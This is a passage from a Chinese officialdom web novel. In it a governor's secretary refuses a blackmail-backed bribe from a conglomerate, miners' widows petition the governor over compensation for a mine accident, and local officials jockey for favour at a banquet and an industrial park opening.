李承跟许梦正牵着手,漫步在大街上,享受着两人的独处时光时,一辆奔驰S480停在了二人面前。 “李秘书。” 车门打开,一个中年男人走下车,跟李承打起招呼。 “你是?” 李承没有见过这个人,诧异询问。 “我是花海集团公关部总经理,毕阳。”男人自我介绍道。 “呵....” 听到这个名字,不禁笑了一声。 一旁的许梦看到李承笑,有些不明所以,眨着大眼睛看他,也没多问。 “毕经理找我什么事?”李承收回笑意,问。 “李总有几句话想让我带给您,方便上车单独聊聊吗?”毕阳微微一笑,说。 “嗯。” 李承点了点头,既然是李美娇带话,李承还是想听一听的。 “李秘书,请。” 毕阳拉开车门,做出请的手势。 “你等我一会儿。” 李承跟许梦说了一声,迈步上了车。 待到李承进入车内,毕阳为其关闭车门,饶到右侧,坐入车内。 “李总想跟我讲什么?” 车内只有他们两个人,许梦还在等待,李承也就开门见山的问。 “李总让我给您带了一份礼物。” 毕阳说着,从怀中口袋掏出了一个信封,递给李承。 李承拿到信封,微微蹙眉。 手感摸起来是照片,这让李承有了一种不好的预感。 但自己一直很爱惜羽毛,从来没有做过任何乱纪之事,唯一收过陈志伟手表,还上交给了纪委。 他自认为身正不怕影子歪。 可当打开信封,看到照片时,李承眉头皱得更紧了。 照片拍摄的时间,是李承刚刚荣升省长秘书。 那一天,陈思琪邀请李承去了她家里,想让李承给她调到省政府工作。 为了达到目的,陈思琪可谓是媚态百出。 而这些照片,就拍摄在陈思琪的家中。 第一张是陈思琪扑进李承怀中拥抱的照片。 第二张是两个人坐在沙发上,陈思琪去索吻的。 第三张是陈思琪去解李承的纽扣。 每一张照片,每一个角度都是精挑细选,都充满着暧昧的味道。 都会惹人无限的去朝着‘性’方面遐想。 “李美娇这是什么意思?” 李承将照片塞回信封中,冷声询问。 “李总看您和许梦小姐相处的很融洽,特意给你提个醒,想让你专一。”毕阳淡淡的笑着。 “这件事发生在我许梦相处之前,纯属无稽之谈。”李承道。 “发生在什么时间不重要,重要的是,许梦小姐觉得她发生在什么时间,它可以发生在你刚上任时,也可以发生在你替陈思琪解决她弟弟危机之后。” 毕阳阴恻恻的笑容,让李承觉得十分厌恶。 但他说的没错。 这些照片一旦落到许梦的眼中,他们再加以诬陷,许梦会信自己吗? 他们能买通陈思琪,拿到这些照片。 陈思琪若是反咬一口,说这件事就发生在前几天呢? 许梦还会信自己吗? 怀疑的种子一旦在心中种下,两个人的感情也会被动摇。 “说说吧,你们到底要干什么?” 李承看了一眼窗外等待的许梦,深吸一口气,问。 “李总听说省里最近在调查花海集团和锦绣置业的借贷问题,想请李秘书帮个小忙。” 毕阳说出了此行的真实目的。 随着省办公厅的调查,李美娇已经感受到了危机来临,才决定出手。 可她找了很久李承的破绽,发现李承这个人很正直,也很爱惜自己的政治羽毛,几乎没有破绽。 只有从陈思琪那里搞到的几张照片,能够作为筹码。 那些照片,对于李承的政治生涯没有任何影响,毕竟,李承没有结婚,任何行为都可以算作自由恋爱。 但却对李承的感情有影响,她调查过,李承和许梦关系很好,已经走到了筹备结婚的那一步。 “什么忙?”李承问。 “小忙,只要李秘书....” 毕阳压低声音,近乎于趴在李承耳边,说出了他们的打算:“李总知道,李秘书最近筹备买房,只要李秘书愿意帮这个小忙,李总个人愿意出资,在华玺送您一套一百平的婚房。” 对方让李承帮的忙,可以说是举手之劳。 而对方开出的诱惑,又恰恰戳中了李承最焦虑的事,买房。 可对此,李承没有半点的心动。 首先,他不知道这台车里会不会有录音,如果有录音,李承答应下来,那才是真正的留下证据给对方。 其次,李承一直秉承着做一个好官,他不想踏上秦海的后路。 “你说的忙,我帮不了,你们的房子我也不会收,我唯一能帮你们李总的,就是不将这件事告知给孟省长。” 说完,李承将信封揣进口袋,直接拉开车门,下了车,不给对方任何机会。 做人留一线,李承也不想跟李美娇闹掰。 他说的那句不会告知孟良德,就是在坚定的立场下,缓和彼此的关系。 “我们走吧。” 李承拉起许梦的手,说。 “宝宝,你刚才笑什么呀?”许梦好奇的问。 “哪里笑了?”李承反问。 “就是他自我介绍的时候,感觉你好像觉得很滑稽似的呢。”许梦眨着大眼睛,询问着。 “奥,我是觉得他的名字很搞笑。”李承道。 “名字?怎么搞笑了?很正常的名字呀。”许梦更加纳闷。 她是蜀川人,不是北方人,自然不明白李承的笑点。 “我觉得,他不应该叫毕阳,应该叫毕阳德。”李承笑着说。 “什么意思?” “就是骂人的话呗。” “毕阳德,毕,逼...” 突然,许梦理解了他的意思,也笑了一下。 “他找你什么事?”许梦问。 “那个逼养...毕阳搞到了一些照片,想威胁我给他做事。”李承犹豫了几秒后,将信封拿了出来。 与其让照片通过他人手里传到许梦那,不如自己先坦白。 第88章 信任 “什么照片?” 许梦接过了信封,她也有些不好的预感。 “我刚上任秘书的时候,陈思琪请我去她家里吃过一回饭,想让我帮她调动工作,她打扮的很性感,想跟我进行权色交易,不过被我拒绝了。 我在那待了不超过五分钟就离开了,并没有发生任何关系。” 李承将照片的由来解释给了许梦:“没想到,她是有准备,故意搞出几个诱惑动作....” 李承没有继续说下去。 说实话,陈思琪的举动让她很寒心。 他刚帮了陈思琪的忙,陈思琪就以德报怨。 “像你这个身份,身边想要诱惑你,谋取利益的女人肯定很多。” 听完李承的解释,许梦面前挤出一个笑容。 她准备拆开信封的动作停滞,随后将手伸进了李承的口袋里,拿出了打火机。 “我相信你,这些照片,我不看,而且那个时间我们也没有在一起,就算有什么,我也管不到。” 许梦用打火机将整个信封点燃,看着整个信封逐渐被火势吞没后,才甩手丢到垃圾桶旁。 看了,就是一块心病。 “放心,有再多的诱惑,我也不会做出让你伤心的事情。”李承认真保证道。 “嗯,我也不想让我们的感情,被有心之人利用,这些浅薄的道理,我还是有的。” 许梦再次抱住李承的胳膊,微笑说。 许梦是一个聪明的女人,这件事发生,她心里或多或少会有低落情绪。 这是爱的占有欲。 可毕竟,事情发生在两人在一起之前,她不想再因为以前的人和事,影响他们现在的关系。 ..... 次日一早。 杨兆华带着一沓资料,找到了孟良德。 李承隐约觉得,那沓资料与花海集团有关,因为他看到了银行流水的单据。 在两个人交谈中,李承拿着热水壶走了进去,给两个人倒水泡茶。 “也就是说,锦绣置业破产,以及后续一些诈骗行为,都与花海集团有关是吗?” 孟良德看着手中的资料,没有抬头。 “从调查结果上看是这样的,前前后后,现金和固定资产,锦绣置业大概偿还了将近五亿元。” 杨兆华汇报道。 两个人对李承还是信任的,并没有因为李承的到来,而中断话题。 “继续查下去,查查整个东江省,还有多少家企业因为花海集团而破产,必要时,可以联系任何部门进行配合。” 孟良德态度十分严肃。 对于花海集团这种东江省毒瘤,他是势必要进行铲除了。 “花海集团毕竟是东江省的纳税大户,很多工程还在继续,包括锦绣广场。 真要动它的话,对经济有影响,我建议,要不要放缓些脚步。” 杨兆华建议道。 他并非帮花海集团求情,而是在为大局着想。 锦绣广场这个曾经让政府头疼的问题,现在归花海集团接手。 周边的地皮花海集团已经拿到了审批,也在筹备动工。 这些都是孟良德亲自负责指导的。 除此之外,花海集团的项目遍布全省,更多都与民生息息相关,还是汉江的纳税大户。 如果对花海集团进行一刀切,对东江省的损失和麻烦,也会随之而来。 对孟良德本人也有一定影响。 毕竟,花海集团李美娇在锦绣广场问题上,是跟孟良德达成了合作。 若是李美娇和花海集团出了事,工程停摆,群众怎么看孟良德? 上面的领导,以及其他同僚们又会怎么看? “你说的这些,我都很清楚,所以,我现在只是让你查,而不是动。”孟良德严肃的道。 花海集团早晚是要铲除的。 花海集团不铲除,对于东江省的营商环境是一颗定时炸弹,而且,也会在招商引资层面,产生恶劣影响。 铲除花海集团会在短期内有动荡,但在长期发展的角度讲,是利好。 何况,孟良德也没打算现在就动它。 查是为了提前掌握信息,也是变相给花海集团提个醒,让他们消停一些。 “嗯,我知道了。” 杨兆华点了点头,答应下来。 接下来,两个人又在花海集团的问题上,做出了一番讨论。 期间也询问了李承的观点,李承也将自己的见解告知了二人。 聊了大概二十几分钟。 李承看了一眼手表,对孟良德说:“省长,王师傅已经在楼下等候了。” “去哪?”孟良德疑惑。 “明天是二十六号,风林县产业园区成立。”李承提醒道。 风林县隶属于滨西市,距离省城汉江二百公里左右。 是省委书记马洪波在今年六月份,提出规划的重点扶持县。 东江省,要将风林县这个穷困县,打造成东江第一县。 扶持它的原因很简单,因为它有得天独厚的地理位置。 风林县位于东江省与苏原省的交界处,距离苏原省省会南陵市直线距离不过四十公里。 苏原省的经济发展远高于东江省,它的经济源自于多年以来的工业根基。 而随着政策改革,产业升级,很多重型工业要搬离市区。 风林县与南陵市的距离,就成了接纳搬离产业的优势。 马洪波的想法是,通过风林县融入苏原省的工业基础,达到提升全省经济的效果。 因为马洪波这种有些‘不道德’的做法,马洪波还跟苏原省的省委书记激烈辩论过几次。 这次,本来是由省委书记马洪波亲自出席。 但由于马洪波要去京城学习开会,便有孟良德代替。 “哦,对了,你不说这事我都忘了。” 经过李承提醒,孟良德想起了这件事,从沙发上站起了身。 关于省长要出差的事情,李承跟办公厅早就打过招呼,杨兆华也知道这件事。 所以,这两天并没有安排孟良德的工作部署。 “对了兆华,有时间你去会一会李美娇,探探她的底。”孟良德给杨兆华投去了一个相对暧昧的眼神,笑着说。 “好。”杨兆华也跟着笑了笑。 他们两个人是老同学,还是一个寝室的上下铺,有着多年的交情。 很多事情,一个眼神,彼此都有默契。 第89章 风林县 这次出差,要在滨西市住一晚。 王师傅开车,先回到招待宾馆,孟良德有些随身生活用品需要带。 取完东西,其他随行人员的车队,也已经等候在了招待宾馆前。 安保,后勤人员是必不可免的,另外还有几名与产业园区相关的厅局级负责人,以及一位秘书长会随同出行,陪同孟良德指导工作。 队伍一共十几个人,这已经算是低调的。 有些高调的领导出差,随行人员可能要几十人。 负责安保的汽车在前方开路,孟良德的专车位于第二位,其余汽车尾随而行。 车队朝着滨西市开去。 “真没想到啊,这风林县就是一只山鸡,居然也能变凤凰,哈哈哈。” 车上,王师傅忍不住的开口打趣了一句:“不过,有生之年能看到自己的家乡得到建设,还是很高兴的一件事。” “王师傅,你家是风林县的?” 车上的时间本就枯燥,孟良德也有了闲心,聊上几句。 “是呀,从小就在风林县长大的,那时候,穷得都吃不饱饭。”王师傅回忆起往事,叹了口气。 在他成长的年代,家家户户都穷,吃不饱,穿不暖的现状,也普遍。 “现在经济发展上来了,政策越来越好了,一个全省贫困县,在政策推动下,估计用不了几年就会变成工业强县。” 李承感叹道。 站在风口上,猪都能起飞。 风林县就属于站在了风口之上,随着产业进入,能够带动经济,提供就业岗位,GDP一定会飞速增长。 “政策固然好,但也得有好领导规划,我们风林县就是遇到了孟省长这样的好领导,才会山鸡变凤凰。” 王师傅笑呵呵的道。 他本想拍孟良德一个马屁,可他不知道的是,推动风林县发展的人是省委书记马洪波。 这次夸奖,无异于是拍在了马蹄上。 “发展风林县的方针,是洪波书记提出来的,我只是推动执行。”孟良德淡淡的道。 以孟良德的身份,也不会计较,他只是开口纠正。 “哦,呵呵...” 王师傅也知道自己马屁拍错了,尴尬的笑了笑。 “洪波书记提出方向,也要有一位好领导贯彻落实,否则,风林县同样会难以发展。” 李承开口替王师傅解围。 “洪波书记是一位令人佩服的领导,为了推动风林县发展,他在京城跟苏原省的周书记大吵过几次,那场面....” 提起此事,孟良德的脸上流露出笑容。 他想起了两个权高位重的老家伙,在会议上吵架的画面,像一个巨大的草台班子。 “风林县要发展,感觉阻力也不小呀。”李承说。 苏原省的领导,自然不愿意让自己省的产业流出。 他们也一定会想方设法,将这些企业留在苏原省内,这是一定的。 并且,绝大多数企业,在本省发展多年,也不愿意去外省。 别看风林县与南陵市只有不到四十公里的距离,但却是两个不同的领导群体。 那些企业,在本省深耕多年,积攒了不少的人脉,也有政府的支持,发展很稳定。 而到了外省,就需要重新跟当地的领导打交道。 他们会担心,风林县的领导会不会故意刁难,本地的一些地头蛇会不会找麻烦等外在因素。 “嗯,产业园区不会一帆顺风,对风林县领导层的个人素质,也是一次巨大的考验。” 李承能想到的阻碍,孟良德同样知晓,李承想不到的阻碍,他也能洞察到。 他很清楚,对于风林县的领导班子来说,企业落地是一场硬仗。 ..... 汽车下了高速。 滨西市的一众领导已经等候在此,迎接孟良德。 汽车停稳,李承率先下车,给孟良德打开车门。 “孟省长,欢迎您到滨西视察工作。” 滨西市委书记吴刚待到孟良德下车后,快步迎接上前,伸出双手。 “吴刚同志,你好。” 孟良德跟吴刚握完手后,紧接着,市长冯坤也迎了上来,跟孟良德握手招呼。 这些基本的礼仪流程,是避免不了的。 一阵寒暄过后,吴刚提议:“孟省长,您和其他同志一路舟车劳顿,要不先到招待宾馆休息一会儿?” “坐了这么久的车,想四处逛逛,去一趟滨西矿业吧。”孟良德说。 滨西是一个五线城市,在全省十五个地级市里,经济发展常年末尾。 但在二十年前,滨西的经济能够挤入前三。 原因是滨西属于资源型城市,盛产煤矿,但这些年,煤矿即将被挖到枯竭,产量逐年下滑,新能源又在慢慢顶替传统能源。 滨西市,也和它的煤矿一样,进入衰败期。 滨西在大方向上,已然成为了被省里‘抛弃’的孩子,多年发展停滞不前,自至今日,滨西矿业依旧是滨西的支柱产业。 “我给您带路。”吴刚点头应是。 车队跟滨西的迎接车队,缓缓开向了滨西矿业。 孟良德,李承等人赶到时,滨西矿业的领导层也纷纷在门口迎接。 下车后,又是避免不了的一阵寒暄。 随后,滨西矿业的董事长蒋元给所有人都拿了一顶安全帽。 戴好安全帽,大家进入矿区。 领导视察工作,无非就是看看工作环境,人员配置,产量,以及安全情况。 但这些,无非就是走个过场。 毕竟,在孟良德提出要去滨西矿业去视察时,市里面就一定会提前打招呼。 任何可能存在的隐患问题,蒋元一定会安排妥当。 孟良德是一个尽职尽责的好领导,他甚至亲自下矿,去视察了一番。 “务必要给每一位矿工提供最安全的工作环境。”孟良德出矿后,对蒋元郑重其事的嘱咐道。 “孟省长您放心,滨西矿业已经成立近三十年,所有的工作体系,开采作业已经十分完善。 但采矿的风险是不可避免的,不过,我们已经将这种风险降至最低。”蒋元跟在孟良德身边,滔滔不绝的介绍道。 “嗯。” 孟良德微微点头,对于这次视察,他还算满意。 “孟省长...” 第90章 喊冤 “孟省长.....” 视察完工作,正当孟良德带队准备离开之际,一辆三轮车急火火的朝这边骑了过来。 一辆普普通通的三轮车,驾驶位坐了两个人,车斗里或站或蹲,还有五六个人。 看到孟良德准备离开,车斗里的一个老妇人大声呼喊起来。 她的喊声吸引了所有人的目光,包括孟良德。 三轮车属于严重超载,即便司机已经将速度提到最后,还是慢吞吞的。 李承看到这一幕,心中已然有了猜想。 他的目光看向滨西矿业董事长蒋元,对方见到这群人,原本的笑容消失不见,变得阴沉。 不仅是他,包括市委书记吴刚的脸色也铁青。 相比之下,李承隐约觉得,市长冯坤平静的表情下,带着一抹不易察觉的笑。 观察到这一幕,李承推测这些人,看样子是来上访的。 蒋元转过身,低声对着身旁的项目经理交代了一句。 项目经理连忙快跑几步,迎上了那群人。 “这些人都是矿工的家属,应该是听说孟省长来视察,特意过来迎接,我们这边的人,都很热情,呵呵呵。” 蒋元编造了一个理由,打算敷衍过去。 “孟省长,接风宴已经准备好了,您和几位同志这一路也都饿了吧,我们现在去饭店。” 看到项目经理将几人拦下交涉后,吴刚紧忙开口。 隐有想要将孟良德支走的意思。 对于他的邀请,孟良德站在原地没有动,一直观察着那群人。 “让开,我们要见孟省长!” “刘经理,你少在这里骗我们,我们不会再信你们半句!” 没多久,那边传来了争执。 项目经理想要拦住那群人,不让他们过来。 但那群妇女下车后,直接将项目经理推翻在地上,随后朝着孟省长的方向跑了过来。 见此情节,孟良德的眉头微微蹙起:“蒋董事长,看来情况跟你所言不符呀。” 被孟良德质问,蒋元没再吭声,而是求助的看向了市委书记吴刚。 可事情已经到了这份上,那边的声音也传了过来,吴刚也不敢再贸然开口。 “孟省长,我们有冤啊,您得给我们做主。” 一个四十岁左右的妇女,气喘吁吁的朝孟良德走来,距离已经在三米之内了,却没有停止脚步的意思。 见状,李承上前一步,半挡在两人的面前,说:“大姐,有什么冤,你说。” 李承的站位也是很有讲究的。 他并没有直接挡住两人,让两人还能保持正视的姿态,这样做,是为了不让百姓认为,孟省长很有架子,不信任群众。 这种半挡加询问,却能在心里暗示下,让对方停下脚步。 有人询问,人的本能是先跟询问者交谈,自然就会与李承保持谈话距离,从而,给孟良德留出更远的空间。 这个空间大概两米左右,可以确保孟良德的人身安全。 若是这个妇女有任何危险举动,李承都能作为一面盾牌,率先挡住危机,给孟良德应变时间。 “终于见到青天大老爷了,孟省长,我们总在电视机上看到你,你是好领导,你得给我们个公道啊。” 后面的几个老妇人也赶了过来。 她们都没什么文化,只会学着电视机里古装戏的台词,称呼孟良德为青天大老爷。 听起来有些滑稽,可这已经是她们能想到的讨好词。 “你们别急,先喘口气,慢慢说。” 孟良德脸上带着温和的微笑,目光看向李承:“给他们拿水。” 闻言,李承微微点头,走到汽车的后备箱。 那里常备着一箱矿泉水。 按照人数,李承拿了七瓶矿泉水,分发给每一位上访者。 “谢谢啊,小伙子。” 接过水,妇女们露出淳朴笑容,对李承表达感谢。 “你们男人的事情,矿上已经按照你们的要求,制定出解决方案,正准备联系你们呢。 孟省长刚从省城过来,你们就不要给孟省长添麻烦了。” 蒋元趁着这群妇女还没有告状,想方设法的想要堵住她们的嘴。 对此,孟良德并没有开口。 如果蒋元能够安抚住这群人,就证明问题并不大,他也不会追究。 全省喊冤的百姓,数不胜数,若是一一追问,那省长干脆去做信访工作好了。 “你就是嘴上说的好听,等孟省长走了,你肯定还得变卦!”妇女瞪着眼睛,对蒋元呵斥。 她用了‘还’字,就证明,这种事不是第一次发生。 “之前是...” “让她说。” 蒋元还准备开口解释,孟良德挥手打断。 显然,蒋元已经解决不了这群人,再说下去,只是耽搁大家的时间。 “孟省长,你得给我们几个做主啊,我们男人都是矿上的工人,上个月因为机械故障,我们男人被困在矿下二十多个小时。” 说着,妇女的手指向了其中四位:“她们三个的老公,被救出来时就已经死亡了。” 紧接着,她的手又指向了另外两人:“她俩的男人,一个至今昏迷,一个基本成植物人,就我老公稍微好一些,醒了过来,但以后也没办法出力了。 面对这种矿难,他!” 妇女手指蒋元:“就是这个畜生,既然以我们老公是临时工为理由,只愿意给几万块钱的人道主义赔偿。” “孟省长,我们全家老小都指望我老公,他死了,我们家也没办法活了....” “为了给我孩子爸爸治病,我们借遍了身边亲戚,根本不够,再不交钱,医院就要停止医疗了...” 几个女人纷纷开始哭泣自己家庭的悲惨。 对于这些家庭来说,一个男人的倒下,就是一个家庭的倒下。 看着这群女人悲痛哭泣的样子,李承心里都不禁发酸。 麻绳专挑细处断,厄运专挑苦命人。 那么厄运的到来,最可恨的是蒋元这种领导的不负责。 “放心,我一定会还你们一个公道。” 孟良德安抚了一下众人的情绪后,目光看向市委书记和市长:“吴刚同志,冯坤同志,这件事你们听说过吗?” 第91章 招待宴 “我最近一直在筹划风林县的产业园区,也是今天才知道这件事。” 吴刚以产业园区为借口,撇清自己的问题。 这种事情在整个城市规划面前,并不算重大问题,市委书记不知情,也在情理之中。 类似这种情况,主要还是由市政府负责。 “我了解过,也约见过蒋董事长两次,每次他都表示会解决,已经跟家属达成了一致。” 冯坤先是表明了自己的工作态度,暗指蒋元阳奉阴违。 随后,他语气变得意味深长起来:“我还亲自来视察过,没想到,蒋董事长居然如此阳奉阴违,不知道是谁在给他撑腰!” 这话听起来,就耐人寻味了。 “孟省长,我真的在积极处理这件事,只是家属们要的赔偿过多,以前也有类似案例出现。 赔偿方面,肯定要跟以前案例相似,不然的话,闹事的人会更多。” 蒋元也说出了自己的解释。 他的解释,从整体角度上讲,还有着几分道理。 “你那就是忽悠我们,现在是网络时代,我儿子也在网上咨询过律师,我们要的赔偿是合法合规。”妇女道。 “那你们为什么没有选择走法律程序呢?”孟良德问道。 “我们起诉了呀,他们公司大,有实力,有关系,我们败诉了。”妇女很无奈的说。 “你们先回去等消息,三天之内,我给你们解决问题。”孟良德点了点头,表情依旧平静,对几位妇女安抚道。 “孟省长,你不能把我们支开之后就不管我们吧?”另外一个岁数大的女人,担忧的说。 “放心吧,孟省长都亲自承诺你们了,这件事一定可以办到,解决方案也需要时间,你们先回去。” 李承站了出来,替孟良德劝说起她们。 但这群妇女仍然有些迟疑,还是不信任。 见状,李承拿出了自己的名牌,递给她们:“我是孟省长的秘书,上面有我的电话,如果三天之后没有解决,你们随时可以联系我。” “好,我们相信孟省长。” 在拿到李承的电话号码后,这群妇女们才选择离开。 她们离开后,孟良德没有再说一句话。 在李承拉开车门后,他坐上了车,一行人离开了滨西矿业。 在临上车之前,李承看到了市委书记吴刚投向蒋元的眼神,眼神里充满了恼火。 ...... 滨西大饭店。 这里是滨西市商务接待规格较高的饭店,今晚的招待宴,就定在了这里。 吴刚,冯坤等人是做足功课的。 他们清楚孟良德为人正直,谨慎起见,一切都是按照接待标准来安排,并没有超标。 “孟省长,这是我们滨西四十多年品牌的本地酒,纯粮食酒,您尝尝。”吴刚端着一瓶本地陈酿,起身准备给孟良德倒酒。 本地酒招待领导,是最好的选择。 一来,不会有超标限制,二来,也能体现本地特色。 “吴书记,孟省长向来滴酒不沾,我代表孟省长感谢你们吴书记,冯市长等滨西同志们的热情款待。” 李承主动替孟良德挡酒。 孟良德在任何接待宴上,向来滴酒不沾,作为专职秘书的李承,这一点他很清楚。 所以,一般的宴会上,都是李承替孟良德挡酒,已经成为了一种习惯。 不喝酒,并非是不能喝,偶尔他自己也会小酌,李承也有幸在招待宾馆,跟孟良德小酌过一次。 只是孟良德不喜欢跟外人喝,以他的身份,也不至于讨好下属。 用孟良德的话说,如果开了喝酒这个头,在这一场招待宴喝了酒,以后就必须要喝。 否则,其他的招待人就会认为孟良德摆架子,不给面子。 所以,在任何宴会都拒绝喝酒,也算是一碗水端平,谁都挑不出理。 “好。” 听到孟良德不喝酒,吴刚也没强求。 他早就打听过孟良德不喝酒,但招待倒酒,是一个要走的形势,表示重视。 “那您喝茶。” 吴刚放下酒瓶,给孟良德倒了一杯茶。 给领导倒完茶后,他做了下来。 紧接着,滨西市的一位副市长站起身,开始依次为省政府副秘书长钱涛,发改委党组副书记袁齐山,李承等人倒酒。 招待宴的流程都是大差不差。 本地领导依次向省长孟良德敬酒,聊几句客套话,把流程走完,就是几人成组,各聊各的。 “感谢滨西市的同志们招待,我吃好了,让李秘书陪你们喝酒,我先回去休息了。” 一个小时后,孟良德端起茶水杯,跟众人打了一声招呼后,喝完茶,站起身准备离开。 所有人也纷纷放下手中的筷子,将孟良德送上了专车,目送孟良德离开。 在这场接风宴中,副秘书长,发改委党组副书记等人都是厅局级干部,吴刚一直在跟他们聊天,并没有怎么理会李承。 汉江是省会城市,东江省的中心在这里,孟良德的工作地点在这里。 所以,汉江的领导们十分重视李承,因为他们与孟良德打交道的机会多,即便是厅局级领导,也要给李承几分薄面。 但滨西市山高皇帝远,一年都未必能打上一次交道,在吴刚看来,李承就只是一个处级干部,没有讨好的必要。 孟良德在的时候,他们还会念在孟良德的身份上,对李承客气。 孟良德离开后,吴刚等人直接对李承视作了空气。 只有一同为处级的干部,会来敬酒。 “李秘书,我敬你一杯。” 正在李承一个人吃菜时,市长冯坤端着酒杯,亲自走到了李承身边,主动敬酒。 刚感受到一丝冷落,冯坤就亲自送来温暖,这不禁让李承对冯坤的印象有了一抹好感。 “冯市长。” 李承站起身,端起酒杯,跟冯坤碰了杯。 喝完这口酒后,冯坤直接拉开李承身旁的空位,坐在了他的旁边,跟李承攀谈起来。 “李秘书,早就听说过您的大名,一直想找机会拜访,但滨西与汉江路途遥远,也没有合适的机会。” 冯坤笑呵呵的说道。 这只是一句客套话,但听在李承耳朵里,却特别顺耳。 “我就是一个副处级干部,哪用冯市长费心,呵呵...” 第92章 远近 “我像李秘书这个年纪,才是正科,科级和处级是一道鸿沟啊,未来李秘书的成就,一定远在我之上。” 冯坤恭维着李承说。 “冯市长过谦了,这一生能到您的位置,我也就心满意足了。” 人都有虚荣心,都喜欢听好听的话,李承也不例外。 冯坤的几句话,拉近了两人之间的距离,接下来的聊天也就更加愉快。 “海森市恶霸陈志伟,我可是有所了解,也见过那号人物,封兰市这么多年都没解决掉的黑恶势力,李秘书仅仅几天的探访,就铲除了他们团伙,厉害。” 冯坤主动提起陈志伟案,话语中,依旧带着讨好意味。 “这是孟省长的旨意,换做任何人去,同样的结局。”李承谦虚的说。 “那可不是。” 冯坤摇了摇头,继续道:“我听说了,当日陈志伟甚至堵截了孟省长的专车,面对这群黑恶势力,李秘书孤身一人坐上了陈志伟的车。 还拒绝了陈志伟价值千万的贿赂,李秘书这份魄力和坚定,是普通人根本无法做到的。” “呵呵呵...冯市长的消息很灵通啊。”李承淡淡一笑,道。 “这些事,已经流传很广泛了,很多同志都知道,孟省长有一位好秘书。”冯坤再次端起酒杯,敬了李承。 两个人喝过杯中酒,冯坤主动递来一根烟,对李承邀请道:“一起去外面抽根烟,透透风吧。” “好啊。” 李承接过香烟,也没有拒绝。 冯坤说了这么多好话,拉近彼此之间的关系,大概率是有单独的事情要跟李承讲。 很可能,是关于滨西矿业。 经过一下午的接触,李承明显感觉到,市委书记吴刚和冯坤的面和心不和。 甚至李承有一种猜测,那些喊冤的妇女们能够知道省长行踪,赶过来告状,都有可能是冯坤在背后推动。 两个人起身朝外面去时,李承感觉身后有一道目光在注视自己。 他回过头,看到了吴刚。 将李承目光投来,吴刚微微点了一下头,算是招呼。 李承假意未看见,直接转过头,继续前进。 站在门外,吹着晚风,两人抽着烟。 但出乎李承意料的事,冯坤并未提起半个与工作相关的事情。 回到宴会厅。 这一次,吴刚却像换了一个人似的,端着酒杯主动接近李承:“李秘书,辛苦了,为了我们滨西市的发展跑一趟。” 看着吴刚的主动示好,李承心领神会。 冯坤拉着自己出去抽烟的目的,根本不是要谈论任何工作。 而是要让吴刚心生猜疑,让他去揣测两人之间到底会谈些什么。 这算是无中生有。 “都是为了工作,职责所在。” 李承跟吴刚举杯示意后,抿了一口白酒。 此时的吴刚,能够清楚感受到李承的疏远。 这时,他才意识到自己犯了一个错误。 刚刚,他忽略了李承,认为两人在工作中几乎产生不到任何接触。 但冯坤跟李承谈过话后,他才感受到危机。 虽说李承没有什么实权,但他是孟良德的身边人,若是吴刚传达了什么不利于他的消息给李承。 李承在传递给孟良德,对他将是一种威胁。 可此时,他在想去跟李承拉近关系,为时已晚。 ..... 次日。 李承陪同孟良德赶往了风林县。 作为全省落后贫困县,这里的发展,似乎仍然停留在二十世纪初。 整个县城,甚至没有什么高楼大厦,都是小矮楼。 面积不大,开车的话,从北开到南,一路绿灯的情况下,用不上五分钟。 从西开东两分钟就差不多。 与其说是县城,其实就是一个大点的镇子。 孟良德和滨江市的车队,并没有去县委和县政府视察工作,直奔产业园区。 到达园区时,县里的所有领导已经等候多时,还特意拉起了横幅,欢迎孟省长莅临参观。 汽车停稳,李承率先下车,给孟良德拉开车门。 孟良德刚下车,风林县县委书记王革就迎了上来,并自我介绍:“欢迎孟省长莅临我县,我是本县县委书记,王革。” 全省五十三个县,二十七个县级市,孟良德才上任不到一年,不可能记住他们的名字。 所以,像县级干部在与领导打招呼时,都要主动报上名号,方便领导记住自己。 “王革同志,你好。”孟良德跟他握了握手。 李承站在一旁,看着王革那满面春风的笑容,心中也不由暗道这人命好。 来到这种贫困县当县委书记,其实是一件苦差事,相比于富裕县来讲,他们的晋升难度要大。 可王革偏偏赶上了马洪波书记提出的改革政策,打造风林县为工业强县。 这就相当于是泼天的机遇砸在了他的头上。 只要他能将工业园区做好,未来很大可能是要调到某个市被重用的。 “孟省长,您能亲自到我们风林县来,是我们风林县全体百姓的荣幸啊。” 王革的手刚松开,县长陈红旗就迎了上来,满脸堆砌着灿烂笑容。 甚至有一种要将王革挤到一边去的感觉。 “这位同志是?” 孟良德并不认识他,他似乎过于激动,甚至忘记了自我介绍。 经过孟良德的提醒,他才笑呵呵的说:“我是风林县的县长,我叫陈红旗。” 陈红旗相比于王革,少了一抹官场的稳重。 对比下,有一种土包子的气质。 这也跟陈红旗的工作履历有关。 陈红旗一直在风林县这个穷乡僻壤发展,属于实打实的本地派。 从科员到正处,这一路他走了二十二年。 在这二十二年里,他的工作一直在风林县,没有太大的地区调动,也缺少了很多官场上的磨炼。 能做到县长的位置,也不是他多出色,而是他靠着时间熬上来的。 毕竟本地派系,有本地派的倾向提拔,老的本地派提拔的下属也是本地派。 在官场里,尤其是这种偏僻县城的官场里。 谁能提拔上任,能力是一小方面,重点是看提拔者是谁的人,跟谁的关系近。 第93章 土老帽 今天是风林县产业园区的成立日,孟良德自然少不了一番讲话。 作为省长的专职秘书,讲话稿在昨天就已经拟定好。 拿着讲话稿,孟良德坐在台上,对着讲话稿开始发言:“风林县一直以来.....” 省长的讲话主要围绕风林县工业发展的战略意义。 阐述项目的利好,肯定产业园区的价值,围绕产业改革,民生改善,经济提升等一系列方面,做出评价。 并提出对于风林县的期望,以及对于风林县,县委县政府的要求。 孟良德讲完后,紧接着是滨西市委书记吴刚,市长冯坤的讲话。 最后,再由县委书记王革进行总结,和感谢各位领导的莅临指导工作。 丰林县产业园区作为东江省重点项目之一,今天的开业,也来了不少记者朋友进行拍摄记录。 省电视台的工作人员,在今天早上也赶到了,进行全程的拍摄报道。 许梦并没有来。 作为新闻女主播,她现在不跑外访。 “李秘书,您抽烟。” 开业典礼结束,县长陈红旗挨个敬烟,脸上春风得意。 看着孟良德正在接受省电视台的采访,李承也无事可做,便接过了陈红旗递来的烟。 “谢谢。” “李秘书,您太客气了,您远道而来就是贵客,呵呵呵...”陈红旗给李承点燃香烟,笑呵呵的说着。 “恭喜啊陈县长。”李承写了一口香烟,说。 “恭喜我什么?” 陈红旗诧异,异想天开的他,以为李承恭喜他是孟省长有什么事情要降临在他的头上。 他在这一刻,甚至认为省里准备要让他顶替县委书记的职位,将王革调离。 他的异想天开也是有一定逻辑的。 